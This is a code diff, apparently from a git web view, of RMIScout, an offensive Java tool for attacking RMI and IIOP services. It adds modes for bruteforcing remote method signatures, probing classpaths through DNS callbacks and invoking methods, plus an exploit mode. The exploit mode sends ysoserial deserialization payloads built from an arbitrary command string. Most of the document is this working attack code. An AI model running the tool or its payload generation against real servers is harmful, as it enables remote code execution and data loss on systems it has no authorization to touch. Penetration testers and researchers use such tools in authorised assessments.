|
||||
final String exploitModeHelp = "Exploit RMI methods using type-mismatch deserialization attack";
|
||||
final String probeModeHelp = "Use GadgetProbe to enumerate classes available on the remote classpath";
|
||||
final String invokeModeHelp = "Invoke methods using primitives or Strings";
|
||||
final String listModeHelp = "List available registry names";
|
||||
|
||||
final String registryHelp = "Specific registry name to query. All names are queried";
|
||||
final String hostHelp = "Remote hostname or IP address";
|
||||
final String portHelp = "Remote RMI port";
|
||||
final String iiopHelp = "Support for Corba-IIOP";
|
||||
final String activationServerHelp = "Support for RMI Activation Stubs";
|
||||
final String signatureHelp = "String representing remote target method signature";
|
||||
|
||||
Subparsers subparsers = parser.addSubparsers().title("Modes of operation").metavar("MODE").dest("mode");
|
||||
Subparser wordlistMode = subparsers.addParser("wordlist").description(wordlistModeHelp).help(wordlistModeHelp);
|
||||
Subparser bruteforceMode = subparsers.addParser("bruteforce").description(bruteforceModeHelp).help(bruteforceModeHelp);
|
||||
Subparser exploitMode = subparsers.addParser("exploit").description(exploitModeHelp).help(exploitModeHelp);
|
||||
Subparser probeMode = subparsers.addParser("probe").description(probeModeHelp).help(probeModeHelp);
|
||||
Subparser invokeMode = subparsers.addParser("invoke").description(probeModeHelp).help(invokeModeHelp);
|
||||
Subparser listMode = subparsers.addParser("list").description(probeModeHelp).help(listModeHelp);
|
||||
|
||||
MutuallyExclusiveGroup wordlistMutex = wordlistMode.addMutuallyExclusiveGroup();
|
||||
wordlistMutex.addArgument("--activation-server").setDefault(false).action(Arguments.storeTrue()).help(activationServerHelp);
|
||||
wordlistMutex.addArgument("--iiop").setDefault(false).action(Arguments.storeTrue()).help(iiopHelp);
|
||||
|
||||
wordlistMode.addArgument("-i", "--input").type(File.class).required(true).help("Wordlist of function prototypes");
|
||||
wordlistMode.addArgument("--allow-unsafe").setDefault(false).action(Arguments.storeTrue()).help("Allow execution of void function guesses.");
|
||||
wordlistMode.addArgument("--activation-server").setDefault(false).action(Arguments.storeTrue()).help("Support for deprecated RMI Activation Systems");
|
||||
wordlistMode.addArgument("-i", "--input").type(File.class).required(true).help("Wordlist of function prototypes");
|
||||
wordlistMode.addArgument("-n", "--registry-name").help(registryHelp);
|
||||
wordlistMode.addArgument("host").help(hostHelp);
|
||||
wordlistMode.addArgument("port").type(Integer.class).help(portHelp);
|
||||
|
||||
bruteforceMode.addArgument("-i", "--input").type(File.class).required(true).help("Wordlist of candidate method names");
|
||||
MutuallyExclusiveGroup bruteforceMutex = bruteforceMode.addMutuallyExclusiveGroup();
|
||||
bruteforceMutex.addArgument("--activation-server").setDefault(false).action(Arguments.storeTrue()).help(activationServerHelp);
|
||||
bruteforceMutex.addArgument("--iiop").setDefault(false).action(Arguments.storeTrue()).help(iiopHelp);
|
||||
|
||||
bruteforceMode.addArgument("--allow-unsafe").setDefault(false).action(Arguments.storeTrue()).help("Allow execution of void function guesses.");
|
||||
bruteforceMode.addArgument("--activation-server").setDefault(false).action(Arguments.storeTrue()).help("Support for deprecated RMI Activation Systems");
|
||||
bruteforceMode.addArgument("-i", "--input").type(File.class).required(true).help("Wordlist of candidate method names");
|
||||
bruteforceMode.addArgument("-r", "--return-types").required(true).help("Set of candidate return types");
|
||||
bruteforceMode.addArgument("-p", "--parameter-types").required(true).help("Set of candidate parameter types");
|
||||
bruteforceMode.addArgument("-l", "--parameter-length").required(true).help("Candidate parameter length range expressed as a comma-delimited range EX: 1,4");
|
||||
@@ -105,37 +216,80 @@ public class RMIScout {
|
||||
bruteforceMode.addArgument("host").help(hostHelp);
|
||||
bruteforceMode.addArgument("port").type(Integer.class).help(portHelp);
|
||||
|
||||
exploitMode.addArgument("-s", "--signature").required(true).help("String representing remote target method signature");
|
||||
MutuallyExclusiveGroup exploitMutex = exploitMode.addMutuallyExclusiveGroup();
|
||||
exploitMutex.addArgument("--activation-server").setDefault(false).action(Arguments.storeTrue()).help(activationServerHelp);
|
||||
exploitMutex.addArgument("--iiop").setDefault(false).action(Arguments.storeTrue()).help(iiopHelp);
|
||||
|
||||
exploitMode.addArgument("-s", "--signature").required(true).help(signatureHelp);
|
||||
exploitMode.addArgument("-p", "--payload").required(true).help("Fully-qualified name of payload implementing ObjectPayload<Object>. EX: ysoserial.payloads.URLDNS");
|
||||
exploitMode.addArgument("-c", "--command").required(true).help("Command String corresponding to payload");
|
||||
exploitMode.addArgument("-n", "--registry-name").help(registryHelp);
|
||||
exploitMode.addArgument("host").help(hostHelp);
|
||||
exploitMode.addArgument("port").type(Integer.class).help(portHelp);
|
||||
|
||||
MutuallyExclusiveGroup probeMutex = probeMode.addMutuallyExclusiveGroup();
|
||||
probeMutex.addArgument("--activation-server").setDefault(false).action(Arguments.storeTrue()).help(activationServerHelp);
|
||||
probeMutex.addArgument("--iiop").setDefault(false).action(Arguments.storeTrue()).help(iiopHelp);
|
||||
|
||||
probeMode.addArgument("-i", "--input").type(File.class).required(true).help("Wordlist of function prototypes");
|
||||
probeMode.addArgument("-s", "--signature").required(true).help("String representing remote target method signature");
|
||||
probeMode.addArgument("-s", "--signature").required(true).help(signatureHelp);
|
||||
probeMode.addArgument("-d", "--dns-endpoint").required(true).help("DNS listener domain");
|
||||
probeMode.addArgument("-n", "--registry-name").help(registryHelp);
|
||||
probeMode.addArgument("host").help(hostHelp);
|
||||
probeMode.addArgument("port").type(Integer.class).help(portHelp);
|
||||
|
||||
MutuallyExclusiveGroup invokeMutex = invokeMode.addMutuallyExclusiveGroup();
|
||||
invokeMutex.addArgument("--activation-server").setDefault(false).action(Arguments.storeTrue()).help(activationServerHelp);
|
||||
invokeMutex.addArgument("--iiop").setDefault(false).action(Arguments.storeTrue()).help(iiopHelp);
|
||||
|
||||
invokeMode.addArgument("-s", "--signature").required(true).help(signatureHelp);
|
||||
invokeMode.addArgument("-d", "--delimiter").setDefault(",").help("Delimiter for array arguments (default: ',')");
|
||||
invokeMode.addArgument("-p", "--params").required(true).type(String.class).action(Arguments.append()).help("Space delimited arguments corresponding to method signature");
|
||||
invokeMode.addArgument("-n", "--registry-name").help(registryHelp);
|
||||
invokeMode.addArgument("host").help(hostHelp);
|
||||
invokeMode.addArgument("port").type(Integer.class).help(portHelp);
|
||||
|
||||
listMode.addArgument("host").help(hostHelp);
|
||||
listMode.addArgument("port").type(Integer.class).help(portHelp);
|
||||
/** end ArgParse4j **/
|
||||
|
||||
Namespace ns = null;
|
||||
List<String> signatures = null;
|
||||
RMIConnector rmisearch = null;
|
||||
Connector rmisearch = null;
|
||||
try {
|
||||
ns = parser.parseArgs(args);
|
||||
if (ns.get("registry_name") == null) {
|
||||
if (ns.get("mode") != "list") {
|
||||
System.out.println("[INFO] No registry specified. Attempting operation on all available registries...");
|
||||
}
|
||||
} else {
|
||||
System.out.println("[INFO] Attempting operation on the \"" + ns.get("registry_name") + "\" registry.");
|
||||
}
|
||||
|
||||
|
||||
// Choose mode
|
||||
switch(ns.getString("mode")) {
|
||||
case "wordlist":
|
||||
//list(ns.get("host"), ns.get("port"));
|
||||
|
||||
if (ns.get("iiop")) {
|
||||
confirmIIOPExecution();
|
||||
}
|
||||
// Split by types
|
||||
HashMap<String, ArrayList<String>> sigMap = readFileToMap(ns.get("input"));
|
||||
for (Map.Entry<String, ArrayList<String>> entry : sigMap.entrySet()) {
|
||||
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), entry.getValue(), ns.get("allow_unsafe"), ns.get("activation_server"));
|
||||
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), entry.getValue(), ns.get("allow_unsafe"), ns.get("activation_server"), ns.get("iiop"));
|
||||
}
|
||||
break;
|
||||
case "bruteforce":
|
||||
list(ns.get("host"), ns.get("port"));
|
||||
|
||||
String[] returnTypes = ns.getString("return_types").split(",");
|
||||
if (ns.get("iiop")) {
|
||||
confirmIIOPExecution();
|
||||
System.out.println("[INFO] RMI-IIOP does not use return types for method hashes and are therefore are unknown. Using \"void\" for return types...");
|
||||
returnTypes = new String[]{"void"};
|
||||
}
|
||||
String[] paramTypes = ns.getString("parameter_types").split(",");
|
||||
String[] paramRangeParts = ns.getString("parameter_length").split(",");
|
||||
int[] paramRange = null;
|
||||
@@ -153,7 +307,7 @@ public class RMIScout {
|
||||
// Java Interfaces disallow different return types for otherwise identical prototypes
|
||||
for (int i = 0; i < returnTypes.length; i++) {
|
||||
signatures = generateMethods(ns.get("input"), returnTypes[i], paramRange, paramTypes);
|
||||
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, ns.get("allow_unsafe"), ns.get("activation_server"));
|
||||
process(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, ns.get("allow_unsafe"), ns.get("activation_server"), ns.get("iiop"));
|
||||
}
|
||||
break;
|
||||
case "exploit":
|
||||
@@ -161,7 +315,13 @@ public class RMIScout {
|
||||
signatures = new ArrayList<>();
|
||||
signatures.add(ns.get("signature"));
|
||||
|
||||
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false, ns.get("activation_server"));
|
||||
if (ns.get("iiop")) {
|
||||
rmisearch = new IIOPConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false);
|
||||
|
||||
} else {
|
||||
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false, ns.get("activation_server"));
|
||||
|
||||
}
|
||||
rmisearch.exploit(ns.get("payload"), ns.get("command"));
|
||||
rmisearch.cleanup();
|
||||
break;
|
||||
@@ -174,11 +334,40 @@ public class RMIScout {
|
||||
GadgetProbe gp = new GadgetProbe(ns.get("dns_endpoint"));
|
||||
List<String> classnames = readFileToList(ns.get("input"));
|
||||
|
||||
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, false, ns.get("activation_server"));
|
||||
if (ns.get("iiop")) {
|
||||
rmisearch = new IIOPConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, true);
|
||||
|
||||
} else {
|
||||
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, true, ns.get("activation_server"));
|
||||
|
||||
}
|
||||
for (String classname : classnames) {
|
||||
rmisearch.execute(gp.getObject(classname));
|
||||
|
||||
rmisearch.execute(new Serializable[] {(Serializable)gp.getObject(classname)}, false);
|
||||
}
|
||||
break;
|
||||
case "invoke":
|
||||
Utilities.setDelimiter(ns.get("delimiter"));
|
||||
|
||||
signatures = new ArrayList<>();
|
||||
signatures.add(ns.get("signature"));
|
||||
if (ns.get("iiop")) {
|
||||
rmisearch = new IIOPConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, true);
|
||||
|
||||
} else {
|
||||
rmisearch = new RMIConnector(ns.get("host"), ns.get("port"), ns.get("registry_name"), signatures, true, ns.get("activation_server"));
|
||||
}
|
||||
List<String> arr = ns.getList("params");
|
||||
String[] arr2 = new String[arr.size()];
|
||||
for (int i = 0; i < arr.size(); i++) {
|
||||
arr2[i] = arr.get(i);
|
||||
}
|
||||
|
||||
rmisearch.invoke(arr2);
|
||||
rmisearch.cleanup();
|
||||
break;
|
||||
case "list":
|
||||
list(ns.get("host"), ns.get("port"));
|
||||
}
|
||||
System.exit(0);
|
||||
} catch (ArgumentParserException e) {
|
||||
@@ -187,15 +376,34 @@ public class RMIScout {
|
||||
}
|
||||
}
|
||||
|
||||
private static void process(String host, int port, String registryName, List<String> signatures, boolean allowUnsafe, boolean isActivationServer) {
|
||||
// Perform batches of 1,000 dynamic methods to not exceed codesize limit of Proxy interface
|
||||
final int batch_size = 1000;
|
||||
for (int i = 0; i < (signatures.size()/batch_size)+1; i++) {
|
||||
int lower = i*batch_size;
|
||||
int upper = Integer.min(signatures.size(), (i+1)*batch_size);
|
||||
RMIConnector rmisearch = new RMIConnector(host, port, registryName, signatures.subList(lower, upper), allowUnsafe, isActivationServer);
|
||||
rmisearch.checkIfPresent();
|
||||
rmisearch.cleanup();
|
||||
private static void confirmIIOPExecution() {
|
||||
Scanner input = new Scanner(System.in);
|
||||
while(true) {
|
||||
System.out.print("Bruteforcing IIOP may execute methods during discovery. This could result in a loss of data on the remote server. Continue [Y/n]? ");
|
||||
String response = input.nextLine();
|
||||
if (response.toLowerCase().equals("y")) {
|
||||
return;
|
||||
}
|
||||
else if (response.toLowerCase().equals("n")) {
|
||||
System.exit(-1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void process(String host, int port, String registryName, List<String> signatures, boolean allowUnsafe, boolean isActivationServer, boolean isIIOPServer) {
|
||||
if (isIIOPServer) {
|
||||
IIOPConnector iiopConnector = new IIOPConnector(host, port, registryName, signatures, allowUnsafe);
|
||||
iiopConnector.checkIfPresent();
|
||||
} else {
|
||||
// Perform batches of 1,000 dynamic methods to not exceed codesize limit of Proxy interface
|
||||
final int batch_size = 1000;
|
||||
for (int i = 0; i < (signatures.size() / batch_size) + 1; i++) {
|
||||
int lower = i * batch_size;
|
||||
int upper = Integer.min(signatures.size(), (i + 1) * batch_size);
|
||||
RMIConnector rmisearch = new RMIConnector(host, port, registryName, signatures.subList(lower, upper), allowUnsafe, isActivationServer);
|
||||
rmisearch.checkIfPresent();
|
||||
rmisearch.cleanup();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -215,6 +423,10 @@ public class RMIScout {
|
||||
|
||||
|
||||
for (String method : methodList) {
|
||||
if(!method.matches("^\\w+$")) {
|
||||
System.err.println(Utilities.Colors.RED + "[ERROR] Fatal error: \"" + method + "\" is not a valid method name. See lists/methods.txt for examples." + Utilities.Colors.ENDC);
|
||||
System.exit(1);
|
||||
}
|
||||
for (List<String> l : permutations) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
sb.append(returnType);
|
||||
|
||||
@@ -0,0 +1,210 @@
|
||||
package com.bishopfox.rmiscout;
|
||||
|
||||
import javassist.*;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.io.Serializable;
|
||||
import java.security.SecureRandom;
|
||||
import java.util.Arrays;
|
||||
import java.util.Base64;
|
||||
import java.util.regex.Pattern;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class Utilities {
|
||||
|
||||
private static String delimiter = ",";
|
||||
|
||||
public static class Colors {
|
||||
public static String GREEN = "\033[92m";
|
||||
public static String YELLOW = "\033[93m";
|
||||
public static String RED = "\033[91m";
|
||||
public static String ENDC = "\033[0m";
|
||||
|
||||
}
|
||||
|
||||
private static PrintStream oldStream = new PrintStream(new OutputStream() {
|
||||
|
||||
@Override
|
||||
public void write(int b) throws IOException {
|
||||
return;
|
||||
}
|
||||
});
|
||||
|
||||
public static void setDelimiter(String d) {
|
||||
delimiter = Pattern.quote(d);
|
||||
}
|
||||
|
||||
public static Serializable[] UnmarshalParams(String signature, String[] params) {
|
||||
|
||||
String type = "";
|
||||
String[] types = Utilities.SignatureToTypes(signature);
|
||||
Serializable[] ret = new Serializable[params.length];
|
||||
|
||||
for (int i = 0; i < params.length; i++) {
|
||||
type = types[i];
|
||||
|
||||
if (type.contains("[]")) {
|
||||
String cleanType = type.replace("[]", "");
|
||||
|
||||
String[] arr = params[i].split(delimiter);
|
||||
switch(cleanType) {
|
||||
//Primitive arrays need special cases or they will be upcast to Integer, etc.
|
||||
// preventing invocation. These are the only ones provided by arrays stream
|
||||
case "int":
|
||||
ret[i] = Arrays.stream(arr).mapToInt(Integer::parseInt).toArray();
|
||||
break;
|
||||
case "double":
|
||||
ret[i] = Arrays.stream(arr).mapToDouble(Double::parseDouble).toArray();
|
||||
break;
|
||||
case "long":
|
||||
ret[i] = Arrays.stream(arr).mapToLong(Long::parseLong).toArray();
|
||||
break;
|
||||
default:
|
||||
Serializable[] nArr = new Serializable[arr.length];
|
||||
for (int j = 0; j < arr.length; j++) {
|
||||
nArr[j] = parseType(arr[j], cleanType);
|
||||
}
|
||||
ret[i] = nArr;
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
else {
|
||||
ret[i] = (Serializable)parseType(params[i], type);
|
||||
}
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
private static String[] SignatureToTypes(String signature) {
|
||||
CtClass dummyInterface = ClassPool.getDefault().makeInterface("DummyInterface");
|
||||
try {
|
||||
CtMethod newmethod = CtNewMethod.make(String.format("%s throws java.rmi.RemoteException;", signature), dummyInterface);
|
||||
CtClass[] types = newmethod.getParameterTypes();
|
||||
return (String[]) Arrays.stream(types).map(s -> s.getName()).collect(Collectors.toList()).toArray(new String[types.length]);
|
||||
} catch (CannotCompileException e) {
|
||||
e.printStackTrace();
|
||||
} catch (NotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
private static Serializable parseType(String param, String type) {
|
||||
switch (type) {
|
||||
case "int":
|
||||
return Integer.parseInt(param);
|
||||
case "short":
|
||||
return Short.parseShort(param);
|
||||
case "long":
|
||||
return Long.parseLong(param);
|
||||
case "boolean":
|
||||
return Boolean.parseBoolean(param);
|
||||
case "float":
|
||||
return Float.parseFloat(param);
|
||||
case "double":
|
||||
return Double.parseDouble(param);
|
||||
case "byte":
|
||||
case "char":
|
||||
return param.charAt(0);
|
||||
default:
|
||||
return param;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static Serializable generatePayload(String payloadName, String command) {
|
||||
Class clz = null;
|
||||
Serializable payload = null;
|
||||
|
||||
try {
|
||||
clz = Class.forName(payloadName);
|
||||
if (ObjectPayload.class.isAssignableFrom(clz)) {
|
||||
ObjectPayload<Object> obj = (ObjectPayload<Object>)clz.newInstance();
|
||||
payload = (Serializable) obj.getObject(command);
|
||||
} else {
|
||||
throw new IllegalArgumentException("Class does not implement ObjectPayload<Object>");
|
||||
}
|
||||
} catch (com.nqzero.permit.Permit.InitializationFailed e) {
|
||||
System.err.println(Colors.RED + "[ERROR] ysoserial dependency does not work with JRE > 1.8" + Colors.ENDC);
|
||||
System.exit(1);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
System.exit(1);
|
||||
}
|
||||
return payload;
|
||||
}
|
||||
|
||||
public static Class generateDummyClass(ClassPool pool) {
|
||||
Class dummyClass = null;
|
||||
|
||||
SecureRandom random = new SecureRandom();
|
||||
byte bytes[] = new byte[256];
|
||||
|
||||
random.nextBytes(bytes);
|
||||
Base64.Encoder encoder = Base64.getUrlEncoder().withoutPadding();
|
||||
String clsname = encoder.encodeToString(bytes).substring(0,254).replace("-","_");
|
||||
try {
|
||||
CtClass ctclass = pool.makeClass(clsname);
|
||||
ctclass.setInterfaces(new CtClass[]{pool.get("java.io.Serializable")});
|
||||
dummyClass = ctclass.toClass();
|
||||
} catch (CannotCompileException e) {
|
||||
e.printStackTrace();
|
||||
} catch (NotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return dummyClass;
|
||||
}
|
||||
|
||||
public static void checkAndCreateTypes(String sig) {
|
||||
ClassPool defaultClassPool = ClassPool.getDefault();
|
||||
|
||||
// Split signature into tokens and look for unknown types to dynamically generate
|
||||
String[] parts = sig.split("\\(|\\)|,");
|
||||
|
||||
for (String part : parts) {
|
||||
String type = part.trim().split(" ")[0];
|
||||
type = type.replace("[]","").replace("...","");
|
||||
try {
|
||||
// If appears to be fully-qualified name, check if it's in the classloader
|
||||
if (type.contains(".")) {
|
||||
Class.forName(type);
|
||||
}
|
||||
} catch (ClassNotFoundException ce) {
|
||||
// Create an empty class if FQN doesn't exist
|
||||
CtClass ctClass = defaultClassPool.makeClass(type);
|
||||
try {
|
||||
ctClass.toClass();
|
||||
} catch (CannotCompileException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
public static int count(String needle, String haystack) {
|
||||
int lastIndex = 0;
|
||||
int count = 0;
|
||||
|
||||
while(lastIndex != -1){
|
||||
|
||||
lastIndex = haystack.indexOf(needle,lastIndex);
|
||||
|
||||
if(lastIndex != -1){
|
||||
count ++;
|
||||
lastIndex += needle.length();
|
||||
}
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
public static void toggleSystemErr() {
|
||||
PrintStream tmp = System.err;
|
||||
System.setErr(oldStream);
|
||||
oldStream = tmp;
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user